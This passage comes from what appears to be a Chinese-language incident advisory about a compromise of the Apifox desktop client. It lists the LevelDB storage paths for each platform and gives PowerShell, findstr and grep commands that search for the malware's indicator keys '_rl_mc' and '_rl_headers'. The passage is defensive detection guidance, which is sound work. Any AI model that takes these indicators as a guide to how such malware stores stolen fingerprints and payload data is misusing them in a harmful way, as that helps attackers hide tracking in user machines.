style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">攻击窗口期内有异常访问</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">🟠 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">高度可疑</span></strong></p></td></tr></tbody></table></p><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">5.1 方法一：检查 LevelDB 存储键（推荐）</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">恶意代码会将机器指纹存储在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">localStorage._rl_mc</span></code><span leaf="">，攻击载荷相关数据存储在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">localStorage._rl_headers</span></code><span leaf="">，这些数据保存在 LevelDB 数据库中。</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">这是最直接的判断依据。</span></strong></p><h4 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(0, 152, 116);"><span leaf="">关键文件路径</span></h4><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">平台</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">LevelDB 路径</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">Windows</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">C:\Users\&lt;用户名&gt;\AppData\Roaming\Apifox\Local Storage\leveldb</span></code></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">macOS</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">~/Library/Application Support/Apifox/Local Storage/leveldb</span></code></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">Linux</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">~/.config/apifox/Local Storage/leveldb</span></code></td></tr></tbody></table></p><h4 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(0, 152, 116);"><span leaf="">Windows 检测命令</span></h4><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># PowerShell - 检查 leveldb 中是否存在恶意键</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Select-String</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-Path</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$env:APPDATA</span></span><span leaf="">\Apifox\Local Storage\leveldb\*&#34;</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-Pattern</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;rl_mc&#34;</span></span><span leaf="">,</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;rl_headers&#34;</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-List</span></span><span leaf=""> | </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Select-Object</span></span><span leaf=""> Path</span></code></pre><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf=""># </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">CMD</span></span><span leaf=""> 备用命令</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">findstr</span></span><span leaf=""> /S /I &#34;rl_mc&#34; &#34;</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">%APPDATA%</span></span><span leaf="">\Apifox\Local Storage\leveldb\*.*&#34;</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">结果判断</span></strong><span leaf="">：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 有输出文件路径 → 🔴 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">已中招</span></strong></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 无输出 → ✅ 安全</span></p></li></ul><h4 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(0, 152, 116);"><span leaf="">macOS 检测命令</span></h4><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查 leveldb 中是否存在恶意键</span></span><span leaf=""><br/></span><span leaf="">grep -arlE </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;rl_mc|rl_headers&#34;</span></span><span leaf=""> ~/Library/Application\ Support/Apifox/Local\ Storage/leveldb/</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">结果判断</span></strong><span leaf="">：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 输出文件路径 → 🔴 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">已中招</span></strong></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 无输出 → ✅ 安全</span></p></li></ul><h4 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(0, 152, 116);"><span leaf="">Linux 检测命令</span></h4><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查 leveldb 中是否存在恶意键</span></span><span leaf=""><br/></span><span leaf="">grep -arlE </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;rl_mc|rl_headers&#34;</span></span><span leaf=""> ~/.config/apifox/Local\ Storage/leveldb/</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">结果判断</span></strong><span leaf="">：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 输出文件路径 → 🔴 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">已中招</span></strong></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 无输出 → ✅ 安全</span></p></li></ul><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, 